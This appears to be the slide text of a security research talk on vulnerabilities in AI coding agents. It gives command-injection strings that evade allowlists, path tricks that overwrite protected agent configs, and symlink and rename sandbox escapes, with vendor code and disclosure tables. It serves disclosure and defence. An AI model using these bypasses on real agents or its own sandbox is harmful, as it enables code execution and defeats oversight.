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Command Injections



Terminal Tools 

– Code navigation – ripgrep and similar tools

– Compiling, building and deploying

– Running tests on the project
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Terminal Tools

– The app is designed to run user-supplied commands!

– Usually auto approval is restricted to a default list or user generated allowlist 

– Compound commands must be parsed before verdict



Terminal Tools 
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Command Injections

dir → OKAY
calc → DENIED
dir && calc OR dir | calc → OKAY



Command Injections

dir → OKAY
calc   → DENIED
dir && calc OR dir | calc   → OKAY

dir "$(calc)" → OKAY
dir @(calc) → OKAY



Command Injections

ls "test".PadLeft.OverloadDefinitions.Where{calc} → OKAY 

ls @{a=calc} → OKAY



Command Injections

ls "test".PadLeft.OverloadDefinitions.Where{calc}  → OKAY

ls @{a=calc}  → OKAY

ls|(){open /Applications/Safari.app} → OKAY

ls () {open -a /.../Calculator.app} && ls → OKAY



Command injections
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The Gemini CLI Case

– Gemini CLI parsed PS commands into an AST and tried to extract its command nodes.

– The allowlist was applied to those.



The Gemini CLI Case

$ast = [System.Management.Automation.Language.Parser]::ParseInput($commandText,...)

$commandAsts = $ast.FindAll({ param($node) $node -is 
[System.Management.Automation.Language.CommandAst] }, $true)

foreach ($commandAst in $commandAsts) {

$commandObjects += [PSCustomObject]@{

name = $commandAst.GetCommandName()

text = $commandAst.Extent.Text.Trim()

}

}
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The Gemini CLI Case

$ast = [System.Management.Automation.Language.Parser]::ParseInput($commandText,...)

$commandAsts = $ast.FindAll({ param($node) $node -is 
[System.Management.Automation.Language.CommandAst] }, $true)

foreach ($commandAst in $commandAsts) {

$commandObjects += [PSCustomObject]@{

name = $commandAst.GetCommandName()

text = $commandAst.Extent.Text.Trim()

}

}
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The Gemini CLI Case

– A bug made Gemini CLI always launch cmd as a shell

– Defaulted to simple prefix matching.

– dir && evil worked if dir was allowed.



The Gemini CLI Case - After The Initial Fix

PS> $ast = [System.Management.Automation.Language.Parser]::ParseInput("dir; evil",...)

PS> $ast.FindAll({ param($node) $node –is [...CommandAst] }, $true)

CommandElements : {dir}    Extent : dir

CommandElements : {evil}   Extent : evil

→ Both commands detected



The Gemini CLI Case



The Gemini CLI Case

– PowerShell is a full .NET language masquerading as a shell!



The Gemini CLI Case

– PowerShell is a full .NET language masquerading as a shell!
– .NET method calls aren’t commands 



The Gemini CLI Case

PS> $ast = [...Parser]::ParseInput("dir ;[scriptblock]::Create('calc').Invoke()", ...)

PS> $ast.FindAll({ ... [...CommandAst] }, $true)

CommandElements : {dir}    Extent : dir

→ Only “dir” detected – calc runs unnoticed!



Finding Summary – Command Injections
Product Total Reported CVE
Claude Code (Anthropic) 4 2
OpenAI Codex 1 0
Cursor 3 0
Gemini CLI (Google) 2 0
Kiro (AWS) 4 0
VSCode Copilot 
(Microsoft)

1 0

Roo Code 2 1*
Amp (Sourcegraph) 1 0
CLINE 1 1*
CRUSH 1 1*
CodeBuff 1 0
GitHub Copilot CLI 1 0
KiloCode 1 1*
Opencode 1 1*
Qodo 1 0
Zencoder 1 0
TOTAL 26 7

*Reserved CVE that is not public yet



Finding Summary – Command Injections

Reports
(Total calcs popped)

CVEs

26 7
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Writing to The Host

– The agent must be able to modify its current project to function.

–Writing outside the project scope may lead to RCE in many ways.

– For example: modification of the Startup Folder, .bashrc, etc.
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Sensitive Workspace Locations

– Configs are full of dangerous settings:

• MCP server descriptions – “Run the following cmdline at launch to start the server”

• Tool permissions – “Allow PowerShell –c *”



Sensitive Workspace Locations

– Configs are full of dangerous settings:

• MCP server descriptions – “Run the following cmdline at launch to start the server”

• Tool permissions – “Allow PowerShell –c *”

–Other locations like .git/config are problematic as well:

• Malicious Git hooks can ultimately lead to RCE

• Malicious FSMonitors are launched immediately on VSCode-based editors



Compromised Config Example



File System Access 
Vulnerabilities



Direct Bypasses



Path Equivalence

– Trivial equivalences (././.sensitive == ./.sensitive) are usually handled.

–Others are not.



Path Equivalence – Suffix Matching

function isSensitivePath(i) {
const e = i.path;
return (

e.endsWith("/.cursor/mcp.json") ||
e.endsWith("/.vscode/settings.json") ||
e.endsWith("/.vscode/tasks.json")

);
}



Path Equivalence – Case Sensitivity

McP.JsOn == mcp.json



Path Equivalence – Case Sensitivity
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– NTFS paths have several unique features which result in path equivalences.
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Path Equivalence – NTFS

– NTFS paths have several unique features which result in path equivalences.

– Short names exist for DOS backwards-compatibility.

– NTFS stream syntax allows for multi-streamed files.



NTFS Short Names

C:\Users\user> echo Hello > .\AGENT~1\config.json

C:\Users\user> type .\.agent\config.json

Hello



NTFS Streams

C:\Users\user> echo Hello > test.txt::$DATA

C:\Users\user> type test.txt

Hello



NTFS Demo



Indirect Bypasses



Indirect Bypasses – echo/sed



Indirect Bypasses – mv/cp



Indirect Bypasses – mv/cp

– Allow edits in Claude Code implicitly allow mv/cp/etc. within workspace.

– File system restrictions were not applied to these.



Indirect Bypasses – mv/cp

mv something ./.claude/settings.json → BLOCKED
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Indirect Bypasses – mv/cp

mv something ./.claude/settings.json → BLOCKED

mv .claude not_claude → edit → mv back   →  WORKS

mv -f file --target-dir=./.claude/   → WORKS

Windows backslash traversal   → WORKS

Env var resolution and glob patterns   → WORKS



Indirect Bypasses – mv/cp



Finding Summary – FS Issues
Product Total Reported CVE
Claude Code 6 0
OpenAI Codex 6 0
Cursor 8 3
Gemini CLI 2 0
Kiro 5 0
VSCode Copilot 2 1
Windsurf 3 0
Google Antigravity 3 0
Amp 1 0
CLINE 1 1*
Copilot Coding 
Agent

1 1*

GitHub CLI 1 1*
RooCode 1 1*
Trae 1 1*
Tabnine 1 0
TOTAL 43 9

*Reserved CVE that is not public yet



Finding Summary – FS Issues

Reports CVEs

43 9



Sandbox Escapes



Sandboxed Terminal Tools

User

Host Environment (Unsandboxed)

Coding Agent

Filesystem Tools
Read, Write, Delete

Restricted Sandbox

Terminal Tool
bash, python, npm

Access Rules

Write
~/.bad_file

Blocked

Read
/etc/shadow

Blocked

Restricted
FS Access

Permitted

Execute Commands



What’s the Threat Model Now?

– Attacker executes arbitrary code inside the sandbox.

– All other capabilities remain.

– Still compliant with the prompt-injection scenario.



Sandbox Escapes – FS/Term Bypasses

– Allowlisted commands usually operate outside the sandbox.

– The sandbox only works on the command execution tool.

– In most cases, previous bugs are also sandbox escapes!



Linux VS Mac Sandbox Implementation

Linux

– Namespace isolation

– Non-workspace filesystem mounted read-only

– Can be fully containerized or lightweight (bwrap)



Linux VS Mac Sandbox Implementation

Linux

– Namespace isolation

– Non-workspace filesystem mounted read-only

– Can be fully containerized or lightweight (bwrap)

Mac

– Based on Seatbelt / sandbox-exec

– Kernel driver enforces app-supplied policies on IO 

operations



macOS Seatbelt Policy - Example

(version 1)

;; allow everything by default

(allow default)

;; deny all writes EXCEPT under specific paths

(deny file-write*)

(allow file-write*

(subpath (param "TARGET_DIR"))

(subpath (param "TMP_DIR"))

(subpath (param "CACHE_DIR"))



Sandbox Escapes – macOS Rename To Dest

– Coding agents often use deny-write* policies for workspace configs on macOS, as the 
workspace itself has an allow-write* policy.

– This means echo hi > ./.someagent/settings.json would fail.

– Can we get our content to a file in that path without writing to it?



Sandbox Escapes – macOS Rename To Dest

echo hi > ./.agentname/settings.json

→  FAILS – this is a protected path
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Sandbox Escapes – macOS Rename To Dest

echo hi > ./.agentname/settings.json

→  FAILS – this is a protected path

echo hi > ./whatever/settings.json

→  OK – not a protected path

mv ./whatever ./.agentname

→  OK – only the file is protected

– ./.agentname/settings.json now contains attacker-controlled content.



Sandbox Escapes – Symlink to Root

– Coding agents usually build sandbox profiles dynamically per command, to always 
provide the right sandbox for each workspace/context.

– Sandbox rules apply to resolved paths, so profile creation resolves them first.



Symlink to Root – Claude Sandbox
function normalizePathForSandbox(pathPattern: string): string {

const cwd = process.cwd()

let normalizedPath = pathPattern

// Expand ~ to home directory

if (pathPattern === '~') {

normalizedPath = homedir()

} else if (pathPattern.startsWith('~/')) {

normalizedPath = homedir() + pathPattern.slice(1)

} else if (pathPattern.startsWith('./') || pathPattern.startsWith('../')) {

// Convert relative to absolute based on current working directory

normalizedPath = path.resolve(cwd, pathPattern)

}

}



Symlink to Root – Claude Sandbox

// Resolve symlinks to real paths to avoid bwrap issues

try {

normalizedPath = fs.realpathSync(normalizedPath)

} catch {

// If path doesn’t exist or can’t be resolved, keep the normalized path

}



Symlink to Root – PoC 

echo hi > ../test.txt   → FAILS
Direct write to parent directory blocked by sandbox
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Symlink to Root – PoC

echo hi > ../test.txt   →  FAILS
Direct write to parent directory blocked by sandbox

ln -s / /tmp/claude →  SUCCEEDS
Symlink creation works in the sandbox

echo hi > ../test.txt   → SUCCEEDS
allow-write* inserted for all subpaths of root
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Sandbox Escapes – Symlink Following

– A sandboxed process can create a symlink, but can’t follow it.

– The coding agent’s file tools follow symlinks, but can’t create them.

– Symlink following wasn’t a security issue before sandboxing.

– In the naïve version, just create a symlink and ask the agent to write to it.



Sandbox Escapes – Symlink Following

export function fullyResolvedPath(pathToCheck: string, targetDir: string): string {

try {

return fs.realpathSync(path.resolve(targetDir, pathToCheck));

} catch (e: unknown) {

if (

isNodeError(e) &&

e.code === 'ENOENT' &&

e.path &&

!isFileSymlink(e.path)

) {

return e.path;

}

throw e;

}

}



Sandbox Escapes – Symlink Following

– This has an inherent TOCTOU vulnerability – the file in the path can change between 
verification and the actual write.

ln -s ../../../../../../you_should_not_be_here.txt ./link

rm ./link; echo hi > link

– Winning the race: verification identifies benign.txt, the write goes to the attacker’s target.

– But there’s another vulnerability here!



Sandbox Escapes – Symlink Following

export function fullyResolvedPath(pathToCheck: string, targetDir: string): string {

try {

return fs.realpathSync(path.resolve(targetDir, pathToCheck));

} catch (e: unknown) {

if (

isNodeError(e) &&

e.code === 'ENOENT' &&

e.path &&

!isFileSymlink(e.path)

) {

return e.path;

}

throw e;

}

}



Sandbox Escapes – Symlink Following

– fs.realpath throws an error if nothing exists at the path, e.g. 
./link/nonexistent.txt

–Most agents handle this error by outputting the original path.

– This means an attacker can create any new file on the machine using symlinks, without 
any racing!



Finding Summary – Sandbox Escapes

Product Total Reported CVE

Claude Code 4 1

OpenAI Codex 3 0

Cursor 2 0

Gemini CLI 2 0

Google Antigravity 2 0

TOTAL 13 1



Finding Summary – Sandbox Excapes

Reports CVEs

13 1



Conclusions



Vendor Responses

–We had 81+ reports before we stopped counting.
– Not everyone agrees Prompt Injection == popping endless calcs is a severe issue.
– 18 CVEs (including reserved). Many more fixes and acknowledgements.



Vendor Responses

–Most big players fixed bugs quickly but are slow with CVE assignment.
– Around 50,000$ in bounty (Anthropic, Google, OpenAI, Cursor).
– Some (mostly larger) vendors try hard to provide both security and autonomy.
–Others ask you to choose.



Takeaways/Soundbytes

– Every type of vulnerability we found was present in numerous coding agents.
– If your coding agent doesn’t have a lot of CVEs assigned, it’s probably not due to a lack of 

vulnerabilities.
– Run it in a container/VM or any other paranoid config.



Thank You!



Thank You!


